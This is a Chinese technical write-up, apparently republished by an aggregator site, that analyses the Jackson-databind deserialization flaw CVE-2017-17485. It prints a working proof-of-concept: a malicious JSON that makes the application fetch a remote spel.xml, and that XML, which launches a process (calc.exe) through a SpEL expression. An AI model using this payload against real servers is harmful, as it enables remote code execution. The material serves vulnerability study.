Java反序列化之Jackson-databind

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了Java反序列化之Jackson-databind，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1811字，纯文字阅读大概需要3分钟。

内容图文

这个洞的cve编号：CVE-2017-17485，漏洞环境就如第一个链接那样，jdk需要在jdk 1.8以上。
先看一下Jackson-databind的用法，说白了就是将json转换成对象。
test-legit.json代码如下

{"id":123}

运行结果如图：

如果注入的json代码如下代码，就会引入FileSystemXmlApplicationContext这个类，去下载spel.xml：

{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}

spel.xml配置如下：

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd
">
  <bean id="pb" class="java.lang.ProcessBuilder">
     <constructor-arg value="calc.exe" />
     <property name="whatever" value="#{ pb.start() }"/>
  </bean>
</beans>

下断点调试一下，F7跟进readValue函数。

在readValue函数就是反序列化json，一直f8以后，在getBean下断点后，读取了id是pb的bean，也就是getBean执行完成后操作导致命令执行了（具体的例子可以看第一个链接）。

进行表达式评估。

返回构造函数。

对#{ pb.start() }进行spel操作

当解析完pb.start操作后就会命令执行
调用栈如下图：

说一下为什么引入FileSystemXmlApplicationContext类就能操纵spel
先找到FileSystemXmlApplicationContext这个类

通过IntelliJ IDEA的Show Diagram Popup这个功能来观察类和接口的继承关系

双击BeanFactory接口，这个接口有getBean方法

实际调用geBean方法的则是在AbstractBeanFactory类中

还有一个jakson CVE-2017-7525的洞有时间在跟一下。
可以参考这几篇文章：http://xxlegend.com/
https://github.com/shengqi158/Jackson-databind-RCE-PoC
http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/
参考链接：
https://chenergy1991.github.io/2017/12/25/CVE-2017-7275/
http://pirogue.org/2018/01/12/jackson-databind-rce/
https://github.com/irsl/jackson-rce-via-spel

内容总结

以上是互联网集市为您收集整理的Java反序列化之Jackson-databind全部内容，希望文章能够帮你解决Java反序列化之Jackson-databind所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端